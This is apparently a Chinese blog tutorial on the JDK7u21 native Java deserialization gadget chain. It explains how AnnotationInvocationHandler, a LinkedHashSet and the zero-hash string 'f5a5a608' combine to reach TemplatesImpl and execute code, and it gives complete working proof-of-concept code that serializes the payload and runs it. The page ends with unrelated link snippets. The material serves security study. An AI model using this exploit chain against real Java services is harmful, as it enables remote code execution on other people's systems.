【java安全】原生反序列化利用链JDK7u21
文章目录
- 【java安全】原生反序列化利用链JDK7u21
- 前言
- 原理
- equalsImpl()
- 如何调用equalsImpl()?
- HashSet通过反序列化间接执行equals()方法
- 如何使hash相等?
- 思路整理
- POC
- Gadget
- 为什么在HashSet#add()前要将HashMap的value设为其他值?
【java安全】原生反序列化利用链JDK7u21
前言
前面我们学习了使用第三方类:Common-Collections、Common-Beanutils进行反序列化利用。我们肯定会想,如果不利用第三方类库,能否进行反序列化利用链呢?这里还真有:JDK7u21。但是只适用于java 7u及以前的版本
在使用这条利用链时,需要设置jdk为jdk7u21
原理
JDK7u21这条链利用的核心其实就是AnnotationInvocationHandler,没错,就是我们之前学习过的那个类,位于:sun.reflect.annotation包下
equalsImpl()
我们看一下equalsImpl()、getMemberMethods方法:
private Boolean equalsImpl(Object var1) { //传入var1...} else {Method[] var2 = this.getMemberMethods();int var3 = var2.length;for(int var4 = 0; var4 < var3; ++var4) {Method var5 = var2[var4]; // var5是一个方法对象String var6 = var5.getName();Object var7 = this.memberValues.get(var6);Object var8 = null;AnnotationInvocationHandler var9 = this.asOneOfUs(var1);if (var9 != null) {var8 = var9.memberValues.get(var6);} else {try {var8 = var5.invoke(var1); // 这里会调用var1这个对象的var5方法} ...return true;}}private transient volatile Method[] memberMethods = null;private Method[] getMemberMethods() {if (this.memberMethods == null) {this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {public Method[] run() {Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods(); //获得Method[]AccessibleObject.setAccessible(var1, true);return var1;}});}return this.memberMethods;}
equalsImpl()方法中明显会调用memberMethod.invoke(o) ,而memberMethod来自于this.type.getDeclaredMethods()
如果我们此时传入invoke()中的形参为TemplatesImpl对象,并且this.type是TemplatesImpl的字节码对象。
那么经过循环就会调用TemplatesImpl对象中的每个方法,就必然会调用newTransformer()或getOutputProperties()方法从而执行恶意字节码了
如何调用equalsImpl()?
那么在哪里会调用equalsImpl()方法呢?invoke():
public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();//当执行invoke()方法时传入的方法名字为equals并且形参只有一个,类型为Object就会执行 equalsImpl()if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]); } else {assert var5.length == 0;if (var4.equals("toString")) {return this.toStringImpl();} else if (var4.equals("hashCode")) {return this.hashCodeImpl();} else if (var4.equals("annotationType")) {return this.type;} else {Object var6 = this.memberValues.get(var4); //cc1...}}}
我们之前cc1中是另this.memberValues等于一个LazyMap对象,让其调用get()方法,就可以执行cc1利用链了
但是这里我们不需要利用这里,我们需要注意这里:
//当执行invoke()方法时传入的方法名字为equals并且形参只有一个,类型为Object就会执行 equalsImpl()
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);
}
我们应该思考这里的invoke()方法如何被调用,并且刚好使形参的第二个为equals、第三个参数的类型为Object对象
我们之前学习过动态代理,当一个代理对象Proxy调用一个方法时,就会调用构造该代理对象时传入的InvocationHandler的invoke()方法,并且第二个参数为methodName方法名,invoke()第三个参数为调用方法时传入的参数
所以现在我们需要找到一个类,他在反序列化时,会间接的对Proxy对象调用equals()方法
HashSet通过反序列化间接执行equals()方法
HashSet可以做到这个效果,实现这个效果有一点复杂,我们先大致了解一下过程

我们创建一个LinkedHashSet对象,当反序列化时会遍历每一个值,使用LinkedHashMap#put()方法,
put()方法中这几行是重点
int hash = hash(key); //计算key的hash值
int i = indexFor(hash, table.length); //这个i也是hash
for (Entry<K,V> e = table[i]; e != null; e = e.next) {Object k;if (e.hash == hash && ((k = e.key) == key || key.equals(k))) //重点
这里会对key的hash与表中取出的e的hash做一个比较,如果这俩个hash相等,但是又不是同一个对象的化,就会执行key的equals()方法,传入参数k
这里我们假设key是Proxy代理对象,并且这里传入的k是一个TemplatesImpl恶意对象,那么就会执行AnnotationInvocationHandler的invoke()方法,从而执行equalsImpl()中的invoke()方法
最终调用了TemplatesImpl恶意对象的newTransformer()方法RCE

我们怎么控制上面的key以及k=e.key呢?
其实我们上面已经分析了一下,这个key和k其实就是我们添加进入:LinkedHashSet中的元素而已
// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
我们应该先添加TemplatesImpl对象,再添加Proxy代理对象,这样才好触发key.equals(k)
如何使hash相等?
我们上面其实默认了一个前提,那就是e.hash == hash 。其实这两个默认肯定不相等,我们需要一些小操作使其相等
我们先来看看HashMap中的hash()方法:
final int hash(Object k) {...h ^= k.hashCode();h ^= (h >>> 20) ^ (h >>> 12);return h ^ (h >>> 7) ^ (h >>> 4);}
这里自始至终只用到了一个变量k.hashCode(),其他的都相等,我们想要Proxy和TemplateImpl的hash相等,其实只需要让k.hashCode()相等即可
TemplateImpl的 hashCode() 是一个Native方法,每次运 行都会发生变化,我们理论上是无法预测的,所以想让proxy的 hashCode() 与之相等,只能寄希望于 proxy.hashCode()
当我们调用proxy.hashCode()时,就会调用创建改代理对象时传入的InvocationHandler对象的invoke()方法,我们继续看看invoke():
public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();} else if (var4.equals("hashCode")) {return this.hashCodeImpl();}...}}
可见,会继续调用invoke()中的hashCodeImpl()方法:
private int hashCodeImpl() {int var1 = 0;Map.Entry var3;for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {var3 = (Map.Entry)var2.next();}return var1;}
重点是下面这一句,var1是计算累加和的,如果this.memberValues是一个HashMap类型并且其中只有一个元素,那么函数的返回值就变成了这个了:
127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
即:
127 * key.hashCode() ^ value.hashCode()
我们想让Proxy和TemplateImpl的hash相等,并且TemplateImplhash不可控。
上述代码中如果我们令key.hashCode()=0,并且我们令value 等于TemplateImpl对象,那么这两个的hash就相等了,进而可以执行Proxy的equals()方法了
我们需要找到一个值的hashCode为0,是可以通过爆破来实现的:
public static void bruteHashCode()
{for (long i = 0; i < 9999999999L; i++) {if (Long.toHexString(i).hashCode() == 0) {System.out.println(Long.toHexString(i));}}
}
跑出来第一个是 f5a5a608 ,这个也是ysoserial中用到的字符串
思路整理
讲完了这么多我们理清一下思路
先创建一个恶意TemplatesImpl对象:
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
为了使Proxy和TemplateImpl的hash相等,以便执行equals(),我们需要让AnnotationInvocationHandler的this.memberValues等于一个HashMap并且只有一个元素:key为f5a5a608,value为:TemplateImpl对象,这样由AnnotationInvocationHandler组成的代理对象proxy与TemplateImpl的hash就会相等
所以创建一个HashMap:
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
实例化 AnnotationInvocationHandler 对象
- 它的type属性是一个TemplateImpl类
- 它的memberValues属性是一个Map,Map只有一个key和value,key是字符串 f5a5a608 , value是前面生成的恶意TemplateImpl对象
实例化AnnotationInvocationHandler类,将map传参进去,经过构造函数设置为memberValues
由于equalImpl()方法会调用memberMethod.invoke(o),这个memberMethod来自this.type.getDeclaredMethods()所以需要设置type为TemplatesImpl的 字节码,这里构造函数会将第一个参数设为type
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
在创建核心的LinkedHashSet之前,我们需要创建一个代理对象,将tempHandler给传进去
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
然后实例化:HashSet:
// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
添加的先后顺序要注意一下,Proxy应该放在后面,这样才会调用Proxy#equals()
这样在反序列化触发rce的流程如下:
首先触发HashSet的readObject()方法,然后集合中的值会使用LinkedHasnMap的put(key,常数)方法进行key去重
去重时计算元素的hashcode,由于我们已经构造其相等,所以会触发Proxy#equals()方法
进而调用AnnotationInvocationHandler#invoke()-> AnnotationInvocationHandler#equalsImpl()方法
equalsImpl()会遍历type的每个方法并调用。
因为this.type是TemplatesImpl字节码对象,所以最终会触发newTransformer()造成RCE
POC
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;public class JDK7u21 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(templates, "_name", "HelloTemplatesImpl");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());String zeroHashCodeStr = "f5a5a608";// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值HashMap map = new HashMap();map.put(zeroHashCodeStr, "foo");// 实例化AnnotationInvocationHandler类Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);handlerConstructor.setAccessible(true);InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);// 为tempHandler创造一层代理Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);// 实例化HashSet,并将两个对象放进去HashSet set = new LinkedHashSet();set.add(templates);set.add(proxy);// 将恶意templates设置到map中map.put(zeroHashCodeStr, templates);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(set);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}
Gadget
HashSet#readObject()LinkedHashMap#put(e, PRESENT)Proxy#equals(k)AnnotationInvocationHandler#invoke()equalsImpl()TemplatesImpl#newTransformer()...ClassLoader.defineClass()...Runtime.exec()
为什么在HashSet#add()前要将HashMap的value设为其他值?
我们追踪一下HashSet#add()方法,发现他也会调用HashMap#put()方法,这样就会导致Proxy提前触发equals()方法造成命令执行:

我们测试一下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;public class JDK7u21 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(templates, "_name", "HelloTemplatesImpl");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());String zeroHashCodeStr = "f5a5a608";HashMap map = new HashMap();map.put(zeroHashCodeStr, templates); //value再这里设为templatesConstructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);handlerConstructor.setAccessible(true);InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);HashSet set = new LinkedHashSet();set.add(templates);set.add(proxy);}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}
成功不经过反序列化就弹出计算器:

所以我们需要先将HashMap的唯一一个元素的value设为其他值
相关文章:
【java安全】原生反序列化利用链JDK7u21
文章目录 【java安全】原生反序列化利用链JDK7u21前言原理equalsImpl()如何调用equalsImpl()?HashSet通过反序列化间接执行equals()方法如何使hash相等? 思路整理POCGadget为什么在HashSet#add()前要将HashMap的value设为其他值? 【java安全】…...
[SQL智慧航行者] - SQL刷题规划
前言: 不知不觉, 慢慢的把一些基础知识整理到了现在. SQL挖掘机系列可能就要到此结束了. 目前是规划把这部分SQL练习部分放到SQL刷题的专栏, 就不放到SQL专栏了. 因为后续如果接触更多的知识点和题目也好分类. 请大家如果关注的话, 想看SQL知识点 --> SQL专栏; 想看SQL刷…...
概率论与数理统计:第一章:随机事件及其概率
文章目录 概率论Ch1. 随机事件及其概率1.基本概念(1)随机试验、随机事件、样本空间(2)事件的关系和运算①定义:互斥(互不相容)、对立②运算法则:德摩根率 (3)概率的定义(4)概率的性质(5)概率计算排列组合 2.等可能概型1.古典概型 (离散)2.几何概型 (连续…...
elementUi重置Select选择器样式、option、deep、vue3、plus
文章目录 前言select选框样式(element-plus)option选项面板样式(element-plus) 前言 样式标签属性为<style scoped lang"scss"></style> select选框样式(element-plus) // 设置选择框的背景样式 ::v-deep .el-input__wrapper {background: transparent;b…...
jar命令的安装与使用
场景: 项目中经常遇到使用WinR软件替换jar包中的文件,有时候存在WinRAR解压替换时提示没有权限,此时winRAR不能用还有有什么方法替换jar包中的文件。 方法: 使用jar命令进行修改替换 问题: 执行jar命令报错jar 不…...
windows系统多线程多进程下应用函数CloseHandle的一些细节
Windows CloseHandle()函数调用之后,对应的内核对象的句柄计数器减去1。如果此内核对象的句柄的计数器计数变为0,系统会回收此内核对象。所以,如果创建了内核对象(例如可调用了CreateThread创建一个线程内核对象。此对象创建成功后此线程内核…...
微服务——elasticsearch
初识ES——什么是elasticsearch elasticsearch的发展 初识ES——正向索引和倒排索引 初识ES——es与mysql的概念对比 类比到mysql中是表结构约束 概念对比 初始ES——安装es和kibana 1.部署单点es 1.1创建网络 要安装es容器和kibana容器并让他们之间相连,这里…...
paddlenlp:社交网络中多模态虚假媒体内容核查
初赛之环境配置篇 一、背景二、任务三、数据集1、初赛阶段2、评分标准 四、环境操作五、写在最后 一、背景 随着新媒体时代信息媒介的多元化发展,各种内容大量活跃在媒体内中,与此同时各类虚假信息也充斥着社交媒体,影响着公众的判断和决策。…...
Centos系统有哪些特点呢
CentOS 是一个基于 Red Hat Enterprise Linux (RHEL) 的免费的开源操作系统,由 CentOS 项目维护。CentOS 项目是一个社区驱动的项目,旨在为用户提供一个稳定的、可扩展的 Linux 发行版。 CentOS 系统具有以下特点: 稳定性:CentOS 系统非常稳定,即使是在高负载的环境下也是如此…...
一文学会git常用命令和使用指南
文章目录 0. 前言1.分支分类和管理1. 分支分类规范:2. 最佳实践3. 分支命名规范示例:4. 分支管理方法: 2. commit 注释规范1. 提交注释结构:2. 提交注释的准则: 3. git 常用命令1. git pull 核心用法2. git push 命令1…...
[PyTorch][chapter 46][LSTM -1]
前言: 长短期记忆网络(LSTM,Long Short-Term Memory)是一种时间循环神经网络,是为了解决一般的RNN(循环神经网络)存在的长期依赖问题而专门设计出来的。 目录: 背景简介 LSTM C…...
寄存器详解(二)
目录 内存中字的存储 示例: 数据段寄存器DS与[address] 字的传送 数据段简介 CPU提供的栈机制 栈段寄存器SS和栈顶指针寄存器SP PUSH AX指令的完整描述 示例图 POP AX指令的完整描述 示例图 栈顶超界问题 示例一: 示例二: 内存中字…...
Java AIO
在Java中,AIO代表异步I/O(Asynchronous I/O),它是Java NIO的一个扩展,提供了更高级别的异步I/O操作。AIO允许应用程序执行非阻塞I/O操作,而无需使用Selector和手动轮询事件的方式。 与传统的NIO和Java NIO…...
java集合总结
1.常见集合 Collection List:有序可重复集合,可直接根据元素的索引来访问 Vector-StackArrayListLinkedList Queue:队列集合 Deque-LinkedList、ArrayDequePriorityQueue Set:无序不可重复集合,只能根据元素本身来访问…...
list交并补差集合
list交并补差集合 工具类依赖 <dependency><groupId>org.apache.commons</groupId><artifactId>commons-lang3</artifactId><version>3.8.1</version> </dependency><dependency><groupId>commons-collections&…...
【微信小程序】父组件修改子组件数据或调用子组件方法
一、使用场景 页面中用到了自定义组件形成父子组件关系,在父组件某个特定时期想要操作子组件中的数据或方法,比如离开页面的时候清空子组件的数据。 二、方法 父组件可以通过this.selectComponent方法获取子组件实例对象,这样就可以直接访…...
frp通过nginx映射multipart/x-mixed-replace; boundary=frame流媒体出外网访问
要通过Nginx访问multipart/x-mixed-replace流媒体协议,并通过FRP进行映射访问,你可以按照以下步骤进行操作: 配置Nginx以支持multipart/x-mixed-replace流媒体协议。你需要编辑Nginx的配置文件(通常是nginx.conf)&…...
Kubernetes概述
Kubernetes概述 使用kubeadm快速部署一个k8s集群 Kubernetes高可用集群二进制部署(一)主机准备和负载均衡器安装 Kubernetes高可用集群二进制部署(二)ETCD集群部署 Kubernetes高可用集群二进制部署(三)部署…...
Jmeter教程
目录 安装与配置 一:下载jdk——配置jdk环境变量 二:下载JMeter——配置环境变量 安装与配置 一:下载jdk——配置jdk环境变量 1.新建环境变量变量名:JAVA_HOME变量值:(即JDK的安装路径) 2.编辑Path%J…...
用Rust实现23种设计模式之建造者模式
当使用 Rust 实现建造者模式时,我们可以通过结构体和方法链来实现。建造者模式是一种创建型设计模式,它允许你按照特定的顺序构建复杂对象,同时使你能够灵活地构建不同的变体。下面是一个使用 Rust 实现建造者模式的示例, 在示例中…...
逻辑回归:给不确定性划界的分类大师
想象你是一名医生。面对患者的检查报告(肿瘤大小、血液指标),你需要做出一个**决定性判断**:恶性还是良性?这种“非黑即白”的抉择,正是**逻辑回归(Logistic Regression)** 的战场&a…...
MMaDA: Multimodal Large Diffusion Language Models
CODE : https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA,它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构…...
Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...
SpringBoot+uniapp 的 Champion 俱乐部微信小程序设计与实现,论文初版实现
摘要 本论文旨在设计并实现基于 SpringBoot 和 uniapp 的 Champion 俱乐部微信小程序,以满足俱乐部线上活动推广、会员管理、社交互动等需求。通过 SpringBoot 搭建后端服务,提供稳定高效的数据处理与业务逻辑支持;利用 uniapp 实现跨平台前…...
爬虫基础学习day2
# 爬虫设计领域 工商:企查查、天眼查短视频:抖音、快手、西瓜 ---> 飞瓜电商:京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空:抓取所有航空公司价格 ---> 去哪儿自媒体:采集自媒体数据进…...
mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包
文章目录 现象:mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包遇到 rpm 命令找不到已经安装的 MySQL 包时,可能是因为以下几个原因:1.MySQL 不是通过 RPM 包安装的2.RPM 数据库损坏3.使用了不同的包名或路径4.使用其他包…...
【Oracle】分区表
个人主页:Guiat 归属专栏:Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…...
面向无人机海岸带生态系统监测的语义分割基准数据集
描述:海岸带生态系统的监测是维护生态平衡和可持续发展的重要任务。语义分割技术在遥感影像中的应用为海岸带生态系统的精准监测提供了有效手段。然而,目前该领域仍面临一个挑战,即缺乏公开的专门面向海岸带生态系统的语义分割基准数据集。受…...
Redis:现代应用开发的高效内存数据存储利器
一、Redis的起源与发展 Redis最初由意大利程序员Salvatore Sanfilippo在2009年开发,其初衷是为了满足他自己的一个项目需求,即需要一个高性能的键值存储系统来解决传统数据库在高并发场景下的性能瓶颈。随着项目的开源,Redis凭借其简单易用、…...
wpf在image控件上快速显示内存图像
wpf在image控件上快速显示内存图像https://www.cnblogs.com/haodafeng/p/10431387.html 如果你在寻找能够快速在image控件刷新大图像(比如分辨率3000*3000的图像)的办法,尤其是想把内存中的裸数据(只有图像的数据,不包…...
